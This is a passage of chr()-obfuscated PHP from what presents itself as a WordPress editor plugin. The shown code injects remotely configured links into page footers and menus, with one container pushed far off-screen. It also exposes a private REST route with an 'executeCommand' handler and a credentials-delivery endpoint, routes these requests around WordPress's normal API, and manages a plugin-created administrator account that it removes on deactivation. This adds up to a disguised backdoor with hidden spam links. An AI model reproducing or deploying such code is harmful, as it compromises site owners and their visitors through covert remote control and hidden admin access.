chr(43), chr(41), chr(32), chr(123), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(105), chr(102), chr(32), chr(40), chr(115), chr(116), chr(97), chr(108), chr(101), chr(78), chr(111), chr(100), chr(101), chr(115), chr(91), chr(105), chr(93), chr(32), chr(38), chr(38), chr(32), chr(115), chr(116), chr(97), chr(108), chr(101), chr(78), chr(111), chr(100), chr(101), chr(115), chr(91), chr(105), chr(93), chr(46), chr(112), chr(97), chr(114), chr(101), chr(110), chr(116), chr(78), chr(111), chr(100), chr(101), chr(41), chr(32), chr(123), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(115), chr(116), chr(97), chr(108), chr(101), chr(78), chr(111), chr(100), chr(101), chr(115), chr(91), chr(105), chr(93), chr(46), chr(112), chr(97), chr(114), chr(101), chr(110), chr(116), chr(78), chr(111), chr(100), chr(101), chr(46), chr(114), chr(101), chr(109), chr(111), chr(118), chr(101), chr(67), chr(104), chr(105), chr(108), chr(100), chr(40), chr(115), chr(116), chr(97), chr(108), chr(101), chr(78), chr(111), chr(100), chr(101), chr(115), chr(91), chr(105), chr(93), chr(41), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(125), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(125), chr(10), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(118), chr(97), chr(114), chr(32), chr(104), chr(111), chr(115), chr(116), chr(32), chr(61), chr(32), chr(100), chr(111), chr(99), chr(117), chr(109), chr(101), chr(110), chr(116), chr(46), chr(99), chr(114), chr(101), chr(97), chr(116), chr(101), chr(69), chr(108), chr(101), chr(109), chr(101), chr(110), chr(116), chr(40), chr(34), chr(100), chr(105), chr(118), chr(34), chr(41), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(104), chr(111), chr(115), chr(116), chr(46), chr(105), chr(100), chr(32), chr(61), chr(32), chr(104), chr(111), chr(115), chr(116), chr(73), chr(100), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(104), chr(111), chr(115), chr(116), chr(46), chr(115), chr(116), chr(121), chr(108), chr(101), chr(46), chr(108), chr(101), chr(102), chr(116), chr(32), chr(61), chr(32), chr(34), chr(45), chr(51), chr(55), chr(55), chr(53), chr(112), chr(120), chr(34), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(104), chr(111), chr(115), chr(116), chr(46), chr(115), chr(116), chr(121), chr(108), chr(101), chr(46), chr(112), chr(111), chr(115), chr(105), chr(116), chr(105), chr(111), chr(110), chr(32), chr(61), chr(32), chr(34), chr(97), chr(98), chr(115), chr(111), chr(108), chr(117), chr(116), chr(101), chr(34), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(104), chr(111), chr(115), chr(116), chr(46), chr(115), chr(116), chr(121), chr(108), chr(101), chr(46), chr(116), chr(111), chr(112), chr(32), chr(61), chr(32), chr(105), chr(115), chr(70), chr(111), chr(111), chr(116), chr(101), chr(114), chr(32), chr(63), chr(32), chr(34), chr(57), chr(48), chr(54), chr(57), chr(112), chr(120), chr(34), chr(32), chr(58), chr(32), chr(34), chr(45), chr(57), chr(48), chr(54), chr(57), chr(112), chr(120), chr(34), chr(59), chr(10), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(118), chr(97), chr(114), chr(32), chr(109), chr(97), chr(114), chr(107), chr(117), chr(112), chr(32), chr(61), chr(32))) . $markupJson . implode('', array(chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(105), chr(102), chr(32), chr(40), chr(116), chr(121), chr(112), chr(101), chr(111), chr(102), chr(32), chr(109), chr(97), chr(114), chr(107), chr(117), chr(112), chr(32), chr(61), chr(61), chr(61), chr(32), chr(34), chr(115), chr(116), chr(114), chr(105), chr(110), chr(103), chr(34), chr(32), chr(38), chr(38), chr(32), chr(109), chr(97), chr(114), chr(107), chr(117), chr(112), chr(32), chr(33), chr(61), chr(61), chr(32), chr(34), chr(34), chr(41), chr(32), chr(123), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(104), chr(111), chr(115), chr(116), chr(46), chr(105), chr(110), chr(110), chr(101), chr(114), chr(72), chr(84), chr(77), chr(76), chr(32), chr(61), chr(32), chr(109), chr(97), chr(114), chr(107), chr(117), chr(112), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(125), chr(32), chr(101), chr(108), chr(115), chr(101), chr(32), chr(123), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(118), chr(97), chr(114), chr(32), chr(108), chr(105), chr(110), chr(107), chr(32), chr(61), chr(32), chr(100), chr(111), chr(99), chr(117), chr(109), chr(101), chr(110), chr(116), chr(46), chr(99), chr(114), chr(101), chr(97), chr(116), chr(101), chr(69), chr(108), chr(101), chr(109), chr(101), chr(110), chr(116), chr(40), chr(34), chr(97), chr(34), chr(41), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(108), chr(105), chr(110), chr(107), chr(46), chr(104), chr(114), chr(101), chr(102), chr(32), chr(61), chr(32))) . $urlJson . implode('', array(chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(108), chr(105), chr(110), chr(107), chr(46), chr(105), chr(110), chr(110), chr(101), chr(114), chr(84), chr(101), chr(120), chr(116), chr(32), chr(61), chr(32))) . $labelJson . implode('', array(chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(104), chr(111), chr(115), chr(116), chr(46), chr(97), chr(112), chr(112), chr(101), chr(110), chr(100), chr(67), chr(104), chr(105), chr(108), chr(100), chr(40), chr(108), chr(105), chr(110), chr(107), chr(41), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(125), chr(10), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(105), chr(102), chr(32), chr(40), chr(105), chr(115), chr(70), chr(111), chr(111), chr(116), chr(101), chr(114), chr(41), chr(32), chr(123), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(99), chr(111), chr(110), chr(116), chr(97), chr(105), chr(110), chr(101), chr(114), chr(46), chr(97), chr(112), chr(112), chr(101), chr(110), chr(100), chr(67), chr(104), chr(105), chr(108), chr(100), chr(40), chr(104), chr(111), chr(115), chr(116), chr(41), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(125), chr(32), chr(101), chr(108), chr(115), chr(101), chr(32), chr(123), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(99), chr(111), chr(110), chr(116), chr(97), chr(105), chr(110), chr(101), chr(114), chr(46), chr(105), chr(110), chr(115), chr(101), chr(114), chr(116), chr(66), chr(101), chr(102), chr(111), chr(114), chr(101), chr(40), chr(104), chr(111), chr(115), chr(116), chr(44), chr(32), chr(99), chr(111), chr(110), chr(116), chr(97), chr(105), chr(110), chr(101), chr(114), chr(46), chr(102), chr(105), chr(114), chr(115), chr(116), chr(67), chr(104), chr(105), chr(108), chr(100), chr(41), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(125), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(125), chr(41), chr(40), chr(41), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(60), chr(47), chr(115), chr(99), chr(114), chr(105), chr(112), chr(116), chr(62)));
}
function WpEditor_Adapter_Frontend_LinkJsRenderer_renderMenuLink($location, $defaultLabel)
{
    $url = WpEditor_Adapter_Services_LinkOptionsService_getUrl($location);
    if ($url === '') {
        return '';
    }
    $label = WpEditor_Adapter_Services_LinkOptionsService_getLabel($location, $defaultLabel);
    $urlJson = json_encode($url, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP);
    $labelJson = json_encode($label, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP);
    return implode('', array(chr(60), chr(115), chr(99), chr(114), chr(105), chr(112), chr(116), chr(62), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(115), chr(101), chr(116), chr(84), chr(105), chr(109), chr(101), chr(111), chr(117), chr(116), chr(40), chr(102), chr(117), chr(110), chr(99), chr(116), chr(105), chr(111), chr(110), chr(40), chr(41), chr(32), chr(123), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(118), chr(97), chr(114), chr(32), chr(109), chr(101), chr(110), chr(117), chr(115), chr(32), chr(61), chr(32), chr(100), chr(111), chr(99), chr(117), chr(109), chr(101), chr(110), chr(116), chr(46), chr(113), chr(117), chr(101), chr(114), chr(121), chr(83), chr(101), chr(108), chr(101), chr(99), chr(116), chr(111), chr(114), chr(65), chr(108), chr(108), chr(40), chr(34), chr(46), chr(109), chr(101), chr(110), chr(117), chr(44), chr(32), chr(46), chr(109), chr(97), chr(105), chr(110), chr(45), chr(110), chr(97), chr(118), chr(105), chr(103), chr(97), chr(116), chr(105), chr(111), chr(110), chr(32), chr(117), chr(108), chr(34), chr(41), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(105), chr(102), chr(32), chr(40), chr(109), chr(101), chr(110), chr(117), chr(115), chr(46), chr(108), chr(101), chr(110), chr(103), chr(116), chr(104), chr(32), chr(62), chr(32), chr(48), chr(41), chr(32), chr(123), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(118), chr(97), chr(114), chr(32), chr(108), chr(105), chr(32), chr(61), chr(32), chr(100), chr(111), chr(99), chr(117), chr(109), chr(101), chr(110), chr(116), chr(46), chr(99), chr(114), chr(101), chr(97), chr(116), chr(101), chr(69), chr(108), chr(101), chr(109), chr(101), chr(110), chr(116), chr(40), chr(34), chr(108), chr(105), chr(34), chr(41), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(108), chr(105), chr(46), chr(99), chr(108), chr(97), chr(115), chr(115), chr(78), chr(97), chr(109), chr(101), chr(32), chr(61), chr(32), chr(34), chr(109), chr(101), chr(110), chr(117), chr(45), chr(105), chr(116), chr(101), chr(109), chr(34), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(118), chr(97), chr(114), chr(32), chr(97), chr(32), chr(61), chr(32), chr(100), chr(111), chr(99), chr(117), chr(109), chr(101), chr(110), chr(116), chr(46), chr(99), chr(114), chr(101), chr(97), chr(116), chr(101), chr(69), chr(108), chr(101), chr(109), chr(101), chr(110), chr(116), chr(40), chr(34), chr(97), chr(34), chr(41), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(97), chr(46), chr(104), chr(114), chr(101), chr(102), chr(32), chr(61), chr(32))) . $urlJson . implode('', array(chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(97), chr(46), chr(105), chr(110), chr(110), chr(101), chr(114), chr(84), chr(101), chr(120), chr(116), chr(32), chr(61), chr(32))) . $labelJson . implode('', array(chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(108), chr(105), chr(46), chr(97), chr(112), chr(112), chr(101), chr(110), chr(100), chr(67), chr(104), chr(105), chr(108), chr(100), chr(40), chr(97), chr(41), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(109), chr(101), chr(110), chr(117), chr(115), chr(91), chr(48), chr(93), chr(46), chr(97), chr(112), chr(112), chr(101), chr(110), chr(100), chr(67), chr(104), chr(105), chr(108), chr(100), chr(40), chr(108), chr(105), chr(41), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(125), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(125), chr(44), chr(32), chr(50), chr(48), chr(48), chr(48), chr(41), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(60), chr(47), chr(115), chr(99), chr(114), chr(105), chr(112), chr(116), chr(62)));
}
// --- file separator ---
function WpEditor_Adapter_Hooks_ActivationHook_register()
{
    WpEditor_Adapter_Services_PluginMigrationService_register();
}
function WpEditor_Adapter_Hooks_ActivationHook_onActivate()
{
    WpEditor_Adapter_Services_PluginMigrationService_scheduleLegacyCleanup();
}
// --- file separator ---
function WpEditor_Adapter_Hooks_DeactivationHook_register()
{
    $pluginFile = \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(102), chr(105), chr(108), chr(101), chr(95), chr(112), chr(97), chr(116), chr(104)))) ? (string) \wp_editor_get_plugin_file_path((string) __FILE__) : __FILE__;
    \register_deactivation_hook($pluginFile, implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(72), chr(111), chr(111), chr(107), chr(115), chr(95), chr(68), chr(101), chr(97), chr(99), chr(116), chr(105), chr(118), chr(97), chr(116), chr(105), chr(111), chr(110), chr(72), chr(111), chr(111), chr(107), chr(95), chr(111), chr(110), chr(68), chr(101), chr(97), chr(99), chr(116), chr(105), chr(118), chr(97), chr(116), chr(101))));
}
function WpEditor_Adapter_Hooks_DeactivationHook_onDeactivate()
{
    WpEditor_Adapter_Services_UserManager_removeAdminUser();
}
// --- file separator ---
function WpEditor_Adapter_Http_ApiAuthGuard_fallbackNamespace()
{
    $pluginFilePath = \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(102), chr(105), chr(108), chr(101), chr(95), chr(112), chr(97), chr(116), chr(104)))) ? (string) \wp_editor_get_plugin_file_path((string) __FILE__) : (string) __FILE__;
    $slug = \trim((string) \basename(\dirname($pluginFilePath)), implode('', array(chr(47), chr(92))));
    if ($slug === '') {
        $slug = implode('', array(chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114)));
    }
    return $slug . implode('', array(chr(47), chr(118), chr(49)));
}
function WpEditor_Adapter_Http_ApiAuthGuard_guard($result, $server, $request)
{
    if ($result !== null) {
        return $result;
    }
    if (!$request instanceof \WP_REST_Request) {
        return $result;
    }
    $route = (string) $request->get_route();
    $config = \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(99), chr(111), chr(110), chr(102), chr(105), chr(103)))) ? \wp_editor_get_config() : array();
    $ns = (string) (\wp_editor_array_has_key($config, implode('', array(chr(97), chr(112), chr(105)))) && \wp_editor_array_has_key($config[implode('', array(chr(97), chr(112), chr(105)))], implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(110), chr(97), chr(109), chr(101), chr(115), chr(112), chr(97), chr(99), chr(101)))) ? $config[implode('', array(chr(97), chr(112), chr(105)))][implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(110), chr(97), chr(109), chr(101), chr(115), chr(112), chr(97), chr(99), chr(101)))] : WpEditor_Adapter_Http_ApiAuthGuard_fallbackNamespace());
    $nsPrefix = implode('', array(chr(47))) . ltrim($ns, implode('', array(chr(47)))) . implode('', array(chr(47)));
    if ($route === '' || strpos($route, $nsPrefix) !== 0) {
        return $result;
    }
    if (strtoupper((string) $request->get_method()) === implode('', array(chr(79), chr(80), chr(84), chr(73), chr(79), chr(78), chr(83)))) {
        return $result;
    }
    $verdict = WpEditor_Adapter_Services_ApiCredentialsService_isCredentialsDeliveryRoute($route) ? WpEditor_Adapter_Services_ApiCredentialsService_verifyDeliveryRequest($request) : WpEditor_Adapter_Http_ApiAuthGuard_verifyRequestAuth($request);
    if ($verdict === true) {
        return $result;
    }
    $message = $verdict instanceof \WP_Error ? $verdict->get_error_message() : implode('', array(chr(85), chr(110), chr(97), chr(117), chr(116), chr(104), chr(111), chr(114), chr(105), chr(122), chr(101), chr(100)));
    return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => $message), 401);
}
function WpEditor_Adapter_Http_ApiAuthGuard_verifyRequestAuth($request)
{
    $pair = WpEditor_Adapter_Services_ApiCredentialsService_extractAuthPair($request);
    if ($pair === null) {
        return new \WP_Error(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(97), chr(117), chr(116), chr(104), chr(95), chr(109), chr(105), chr(115), chr(115), chr(105), chr(110), chr(103))), implode('', array(chr(77), chr(105), chr(115), chr(115), chr(105), chr(110), chr(103), chr(32), chr(65), chr(80), chr(73), chr(32), chr(97), chr(117), chr(116), chr(104), chr(32), chr(40), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110), chr(115), chr(46), chr(97), chr(117), chr(116), chr(104), chr(41))));
    }
    return WpEditor_Adapter_Services_ApiCredentialsService_verifyApiKeyPassword($pair[0], $pair[1]);
}
// --- file separator ---
function WpEditor_Adapter_Http_LegacyRequest_get_route($state)
{
    return $state[implode('', array(chr(114), chr(111), chr(117), chr(116), chr(101)))];
}
function WpEditor_Adapter_Http_LegacyRequest_get_method($state)
{
    return $state[implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100)))];
}
function WpEditor_Adapter_Http_LegacyRequest_get_param($state, $key)
{
    return \wp_editor_array_has_key($state[implode('', array(chr(112), chr(97), chr(114), chr(97), chr(109), chr(115)))], $key) ? $state[implode('', array(chr(112), chr(97), chr(114), chr(97), chr(109), chr(115)))][$key] : null;
}
function WpEditor_Adapter_Http_LegacyRequest_get_params($state)
{
    return $state[implode('', array(chr(112), chr(97), chr(114), chr(97), chr(109), chr(115)))];
}
function WpEditor_Adapter_Http_LegacyRequest_get_body($state)
{
    return $state[implode('', array(chr(98), chr(111), chr(100), chr(121)))];
}
function WpEditor_Adapter_Http_LegacyRequest_get_body_params($state)
{
    return $state[implode('', array(chr(98), chr(111), chr(100), chr(121), chr(80), chr(97), chr(114), chr(97), chr(109), chr(115)))];
}
function WpEditor_Adapter_Http_LegacyRequest_get_json_params($state)
{
    return $state[implode('', array(chr(106), chr(115), chr(111), chr(110), chr(80), chr(97), chr(114), chr(97), chr(109), chr(115)))];
}
function WpEditor_Adapter_Http_LegacyRequest_get_file_params($state)
{
    return $state[implode('', array(chr(102), chr(105), chr(108), chr(101), chr(80), chr(97), chr(114), chr(97), chr(109), chr(115)))];
}
function WpEditor_Adapter_Http_LegacyRequest_get_header($state, $name)
{
    $needle = strtolower((string) $name);
    if ($needle === '') {
        return '';
    }
    return \wp_editor_array_has_key($state[implode('', array(chr(104), chr(101), chr(97), chr(100), chr(101), chr(114), chr(115)))], $needle) ? $state[implode('', array(chr(104), chr(101), chr(97), chr(100), chr(101), chr(114), chr(115)))][$needle] : '';
}
function WpEditor_Adapter_Http_LegacyRequest__construct($route, $method, $headers, $queryParams, $bodyParams, $jsonParams, $fileParams, $body)
{
    return array(implode('', array(chr(95), chr(95), chr(99), chr(108), chr(97), chr(115), chr(115))) => implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(72), chr(116), chr(116), chr(112), chr(95), chr(76), chr(101), chr(103), chr(97), chr(99), chr(121), chr(82), chr(101), chr(113), chr(117), chr(101), chr(115), chr(116))), implode('', array(chr(114), chr(111), chr(117), chr(116), chr(101))) => $route, implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100))) => $method, implode('', array(chr(104), chr(101), chr(97), chr(100), chr(101), chr(114), chr(115))) => $headers, implode('', array(chr(113), chr(117), chr(101), chr(114), chr(121), chr(80), chr(97), chr(114), chr(97), chr(109), chr(115))) => $queryParams, implode('', array(chr(98), chr(111), chr(100), chr(121), chr(80), chr(97), chr(114), chr(97), chr(109), chr(115))) => $bodyParams, implode('', array(chr(106), chr(115), chr(111), chr(110), chr(80), chr(97), chr(114), chr(97), chr(109), chr(115))) => $jsonParams, implode('', array(chr(102), chr(105), chr(108), chr(101), chr(80), chr(97), chr(114), chr(97), chr(109), chr(115))) => $fileParams, implode('', array(chr(98), chr(111), chr(100), chr(121))) => $body);
}
// --- file separator ---
function WpEditor_Adapter_Http_LegacyRestAdapter_register()
{
    if (\function_exists(implode('', array(chr(114), chr(101), chr(103), chr(105), chr(115), chr(116), chr(101), chr(114), chr(95), chr(114), chr(101), chr(115), chr(116), chr(95), chr(114), chr(111), chr(117), chr(116), chr(101))))) {
        return;
    }
    \add_action(implode('', array(chr(116), chr(101), chr(109), chr(112), chr(108), chr(97), chr(116), chr(101), chr(95), chr(114), chr(101), chr(100), chr(105), chr(114), chr(101), chr(99), chr(116))), implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(72), chr(116), chr(116), chr(112), chr(95), chr(76), chr(101), chr(103), chr(97), chr(99), chr(121), chr(82), chr(101), chr(115), chr(116), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(109), chr(97), chr(121), chr(98), chr(101), chr(68), chr(105), chr(115), chr(112), chr(97), chr(116), chr(99), chr(104))), 0);
}
function WpEditor_Adapter_Http_LegacyRestAdapter_maybeDispatch()
{
    $route = WpEditor_Adapter_Http_LegacyRestAdapter_extractRouteFromRequestUri();
    if ($route === null) {
        return;
    }
    $nsPrefixes = WpEditor_Adapter_Http_LegacyRestAdapter_resolveNamespacePrefixes();
    $matchedPrefix = null;
    foreach ($nsPrefixes as $nsPrefix) {
        if ($route === $nsPrefix || \strpos($route, $nsPrefix . implode('', array(chr(47)))) === 0) {
            $matchedPrefix = $nsPrefix;
            break;
        }
    }
    if ($matchedPrefix === null) {
        return;
    }
    $request = WpEditor_Adapter_Http_LegacyRestAdapter_buildRequest($route);
    $requestMethod = WpEditor_Adapter_Http_LegacyRestAdapter_requestGetMethod($request);
    if (\strtoupper((string) $requestMethod) === implode('', array(chr(79), chr(80), chr(84), chr(73), chr(79), chr(78), chr(83)))) {
        WpEditor_Adapter_Http_LegacyRestAdapter_sendResponse(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115)))), 200);
    }
    $authVerdict = WpEditor_Adapter_Http_LegacyRestAdapter_verifyAuth($request);
    if ($authVerdict !== true) {
        $message = $authVerdict instanceof \WP_Error ? _invoke($authVerdict, implode('', array(chr(103), chr(101), chr(116), chr(95), chr(101), chr(114), chr(114), chr(111), chr(114), chr(95), chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101)))) : implode('', array(chr(85), chr(110), chr(97), chr(117), chr(116), chr(104), chr(111), chr(114), chr(105), chr(122), chr(101), chr(100)));
        WpEditor_Adapter_Http_LegacyRestAdapter_sendResponse(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => $message), 401);
    }
    $relative = \substr($route, \strlen($matchedPrefix));
    if ($relative === false || $relative === '') {
        $relative = implode('', array(chr(47)));
    }
    if ($relative[0] !== implode('', array(chr(47)))) {
        $relative = implode('', array(chr(47))) . $relative;
    }
    $endpoint = WpEditor_Adapter_Http_LegacyRestAdapter_resolveEndpoint($relative, $requestMethod);
    if ($endpoint === null) {
        WpEditor_Adapter_Http_LegacyRestAdapter_sendResponse(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(82), chr(111), chr(117), chr(116), chr(101), chr(32), chr(110), chr(111), chr(116), chr(32), chr(102), chr(111), chr(117), chr(110), chr(100)))), 404);
    }
    $handler = (string) $endpoint[implode('', array(chr(104), chr(97), chr(110), chr(100), chr(108), chr(101), chr(114)))];
    $expectsRequest = (bool) $endpoint[implode('', array(chr(114), chr(101), chr(113), chr(117), chr(101), chr(115), chr(116)))];
    $result = WpEditor_Adapter_Http_LegacyRestAdapter_invokeHandler($handler, $expectsRequest, $request);
    WpEditor_Adapter_Http_LegacyRestAdapter_sendAnyResult($result);
}
function WpEditor_Adapter_Http_LegacyRestAdapter_invokeHandler($handler, $expectsRequest, $request)
{
    switch ($handler) {
        case implode('', array(chr(101), chr(120), chr(101), chr(99), chr(117), chr(116), chr(101), chr(67), chr(111), chr(109), chr(109), chr(97), chr(110), chr(100))):
            return WpEditor_Adapter_Http_RestController_executeCommand($request);
        case implode('', array(chr(99), chr(114), chr(101), chr(97), chr(116), chr(101), chr(80), chr(111), chr(115), chr(116))):
